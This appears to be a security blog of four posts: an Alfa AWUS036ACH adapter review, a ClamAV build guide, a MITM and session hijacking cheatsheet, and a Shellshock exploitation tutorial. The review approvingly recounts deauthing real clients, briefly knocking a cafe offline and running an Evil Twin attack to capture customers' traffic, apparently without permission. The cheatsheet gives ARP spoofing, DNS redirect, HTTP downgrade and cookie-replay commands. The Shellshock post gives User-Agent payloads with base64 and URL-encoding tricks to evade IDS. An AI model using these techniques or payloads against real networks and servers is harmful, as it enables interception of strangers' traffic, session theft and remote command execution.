Alfa AWUS036ACH First Impressions

Alfa AWUS036ACH First Impressions

     Yesterday I got delivered my first Realtek RTL8812AU chipset Wireless USB adapter, couldn't wait so the same day I went to the city centre to see how it performs. The spot for testing was a cafe in the middle of the city centre - I wanted to see what networks did it pick and how strong the connection was.

     First of all, since I was using Ubuntu 16.04 (not Kali Linux), I couldn't apt-get the drivers from the sources - I had to download and build them. At first, drivers downloaded from astsam repository didn't built, so I got them from the official aircrack-ng GitHub repository. The latter built successfully. The drivers were supposed to implement Monitor Mode and Packet Injection. The performance of these two will be discussed later, as well as the Access Point compatibility.

     After downloading the drivers, I've noticed that even though the Monitor Mode does indeed work, I was not able to join any network trough NetworkManager. Each time I tried to log in, I'd get password prompt 5-10 seconds later over and over, so I've opened a GitHub issue ticket here. Since I couldn't access any Internet on any Wireless Network with my Alfa AWUS036ACH, I've decided to take my TL-WN722N with me, just for the Internet Access. However, after downloading the necessary software with my TL-WN722N, I've decided to try and get WPA2 handshakes from nearby networks. airmon-ng successfully put my AWUS036ACH in a Monitor Mode, even though it said the Monitor Mode was up on the newly made mon0 interface. The truth is that mon0 didn't function at all, and I had to call the AWUS036ACH all the time. Anyways, after running airodump-ng, I've got about 10 networks, including from buildings across the street and so:

Pardon my dusty screen

So, the range of the performance was great. The clients and the networks were picked up fast and efficiently. Let's try to capture some handshakes now. I've reran the airodump-ng to run only in the specified channel against the specified BSSID (ID of the Wireless Network). Of course, I had to knock the clients off the Wireless connection to get the handshakes within a reasonable amount of time, so I ran aireplay-ng and sent a deauth attack on all clients on the network. Within the matter of 5 seconds, I had the handshake captured. Perfect, the Monitor Mode and Packet Injection works great.

     What I was even more willing to find out was the compatibility with the Access Point mode. At first due to lack of experience working with the aircrack-ng Framework, I had to take my time to play around with my settings for a while. Basically, while I was trying to configure my firewall and airbase-ng settings, for about 10 minutes the whole Coffee Inn was sitting without network connection - the signal from my Alfa AWUS036ACH was stronger than the Wireless Signal from their Free WiFi, but my firewall and interface were incorrectly configured. After all the configurations and attempts to kill the avahi-daemon, that was interfering with the aircrack-ng Framework, I've succeeded. I've performed an Evil Twin attack on the whole Coffee Inn WiFi. Right after that, I've ran the tcpdump tool to see if I succeed capturing all the packets. In fact, I did. The more I went, the deeper I've got. Though, it was dark already, it was about the time to go home. I packet my computer and the adapters, left the cafe with an innocent "Thank you" to the baristas. The experience with my AWUS036ACH was a good experience.

The combination I used for the Evil Twin attack

     In conclusion, even though my Alfa AWUS036ACH performed the task of Wireless Attacks and Wireless Pentesting great, it had Monitor Mode support as well as Packet Injection and Wireless Access Point support, the greatest disadvantage was being unable to connect to any Wireless Network with it using the NetworkManager, so I had to use my backup TL-WN722N. Overall, I'd greatly recommend this Wireless Adapter for everybody in the field in Wireless Attacks, especially when it is one of the newest adapters supported by Kali Linux, and as well uses the only Kali supported chipset that is 802.11ac compatible. The rumors that Alfa AWUS036ACH are a beast have been shown to be true, and I'm glad I've bought this Wireless Adapter, and I was well recommend everyone to get one of their own from one of the following links:

Alfa AWUS036ACH on Amazon

Alfa AWUS036ACH on eBay

Alfa AWUS036ACH on Rokland

or, where I've got it from personally:

Alfa AWUS036ACH on EuroDK

Installing ClamV Antivirus on Linux

Building ClamAV Source on Linux

Introduction

     Too many people out there think that Linux malwares aren't a thing and that they don't wait for you at every corner looking for a chance to open that reverse TCP connection on your host. Just like MacOS, GNU/Linux is prone to viruses on certain circumstances, hence antivirus software is recommended, even if not running any open IPs or services, but if that's the situation, you should check up the IDS/IPS software variants. Even if you've never encountered a virus in your experience with Linux before, I'd suggest checking out the Linux malware Wikipedia page.

     Anyways, one of the solutions available, to being in danger of loss of private data, is, of course, antivirus software. My personal preference is ClamAV - an Open-Source cross-platform antivirus framework that is being constantly updated with almost daily database upgrades, that include the newest threats identified in the wild. In this article we'll be installing ClamAV on Linux - note, that the installation process is different on every OS, and that if you're running everything other than Linux, you might encounter problems following the tutorial. Good luck on reading and stay safe.

Installation process

     We'll start with choosing the right version of the ClamAV. Basically, there are two options: release version, and the development version. Both development and release versions are available on ClamAV GitHub. I usually prefer Release versions, since they're less prone for bugs, but in this case, if you're not running the Development version, everytime you scan you'll see an annoying error, saying that you're not running the latest version, since Development is considered the newest version.
     After you picked your variant (Release or Development), let's download your desired version of ClamAV:
             user@host:~$ git clone --branch <branch> https://github.com/Cisco-Talos/clamav-devel.git
     Instead of <branch>, enter your desired branch to download, in my case it's dev/0.100.1 at the time of writing. You can find the name of the branch on the left side selection drop-down list on the repository.
     Once downloaded, enter the directory:
             user@host:~$ cd clamav-devel
     Configure before building your source (add -h option if you want to see settings you can customize, I  personally find the default settings just fine:
             user@host:~$ ./configure [-h]
     When configured, execute these two commands to build and install from the source:
             user@host:~$ make

             user@host:~$ make install

     Now, you need to configure your ClamAV build with the command freshclam, but you'll most likely encounter an error when attempting to:
             user@host:~$ freshclam: error while loading shared libraries: libclamav.so.7: cannot open shared object file: No such file or directory
     If so, download the missing library:
             user@host:~$ apt install libclamav7
     Now, after trying to configure again, another problem arises:
             user@host:~$ freshclam
ERROR: Can't open/parse the config file /usr/local/etc/freshclam.conf
     The solution is as simple as it can be, just copy the config sample to an actual config:
             user@host:~$ mv /usr/local/etc/freshclam.conf.sample /usr/local/etc/freshclam.conf
    Though, some more steps are waiting for you. Open the config file and comment the line Example. I prefer vim for this task. Now, after you commented out the line, you'll have to add a clamav user for the program. Do it as in the following example:
             user@host:~$ adduser clamav
     Now, add the directory needed for freshclam and make clamav the owner of the directory:
             user@host:~$ mkdir /usr/local/share/clamav
             user@host:~$ chown -R clamav:clamav /usr/local/share/clamav
     That's it! Run freshclam now!
             user@host:~$ freshclam
     Now, it might take a while for the databases to download, both main.cvd and daily.cvd. Take your time waiting and a look into ClamAV Documentation here.
     By now, your installation process is finished! You can run the ClamAV scanner with the command clamscan, but every time you run the scanner it reloads all the databases, hence the scan takes a quite long amount if time. Running clamdscan daemon can fix this problem for you.
     Stay safe!

Man-in-the-Middle and Session Hijacking Cheatsheet

Cheatsheet for MITM Session Hijacking

          Man-in-the-Middle: CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle') )
          Session Hijacking: CWE-384 (Session Fixation)

           Enable Port Forward

                    user@host:~$ sysctl -w net.ipv4.ip_forward=1

             ARP Spoof the Target

                    user@host:~$ sudo arpspoof <target ip> -t <router ip>
                    user@host:~$ sudo arpspoof <router ip> -t <target ip>

             Redirect DNS to own address

                    user@host:~$ vim /etc/hosts 

...
127.0.0.1      <target DNS>
...

             Redirect the Target to HTTP version of the Site

                    user@host:~$ service apache2 start
                    user@host:~$ vim /var/www/index.html

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="refresh" content="0; url=http://<target site>/" />
</head>
<body>
<p>Redirecting..</p>
</body>
</html>

             Capture Packets

                    user@host:~$ tcpdump -A | grep <target ip>
 

             Use the Session Cookie

                    user@host:~$ curl -v --cookie "<cookie>=<value>" <target site>

Exploiting Shellshock in User-Agent headers (CWE-78)

     I've been  surprised by how few, compared, there are articles on Shellshock on the internet. It's one of this vulnerability classified as CWE-78 - Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection. This vulnerability allows one to execute OS commands in a remote (or local) host with very little to no limitations, apart from the privileges the running software is running. Usually IDS takes little to no actions against such attacks, and they're easy to bypass anyways, using either base64 encoding or such.

     Shellshock exploitation is as simple as it can get it most cases. You'll most commonly encounter Shellshocks on .cgi pages, which, though, usually require administrator account privileges. Because of this, Shellshock will probably be your second stage of exploitation. The vulnerability itself is usually done trough User-Agent header. The packet with the payload is easy to craft itself, since the only line required for exploitation is the following:
          User-Agent: () { :; }; <cmd>
     You're right. It's that simple. User-Agent header, brackets, then inside curly brackets colon, semicolon, and then outside a semicolon again, and then goes the command to be executed on the target's Operating System. Though, sometimes, Web Servers deny requests with no valid User Agent specified. In such cases, you can add a dummy User Agent:
          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0 { :; }; <cmd>
    Since you have went around the Web Server protection against packets with no valid User Agent, you might encounter an IDS fighting with command injection, but these cases do not happen often. You can try base64 converting your payload and then sending the packet to the target, in example, on your local machine:
          user@host:~$ echo -n '<cmd>' | base64 
     Copy the output of the command, and use it instead of the <base64 cmd> in the packet:
          User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0 { :; }; $(echo '<base64 cmd>' | base64 -d)
     This way you should bypass some of the most common IDS software. What is being done here is quite simple, in general. The part inside the brackets decodes the base64 payload, meanwhile the $ before the brackets indicate that the output will be executed. This trick only works, though, if the IDS isn't blocking the character ' | '. If it does, try url encoding it and as well some other characters. ' | ' can be replaced with '%7C', ' ' ' can be replaced with '%27', ' < ' with '%3C' and ' > ' with '%3E'
     Your full packet might look something like this:

     GET /index.php HTTP/1.1
     User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:10.0)

 Gecko/20100101 Firefox/10.0 { :; }; $(echo '<base64 cmd>' | base64 -d) 
     Host: <target host>
     Accept-Language: en-us
     Accept-Encoding: gzip, deflate
     Connection: Keep-Alive

     The easiest ways to exploit this from the Terminal are using either NetCat or cURL. NetCat has no special syntax,

     user@host:~$ nc <host> 

meanwhile, the cURL variant, being a big harder to remember, isn't that hard either:

     user@host:~$ curl -H "User-Agent: <full User-Agent payload>" <target host>

     In conclusion, Shellshock, being a great example of CWE-78 - OS Command Injection gives one a great opportunity to learn fighting IDS and crafting payloads, which can be used in further exploit development in more advanced cases.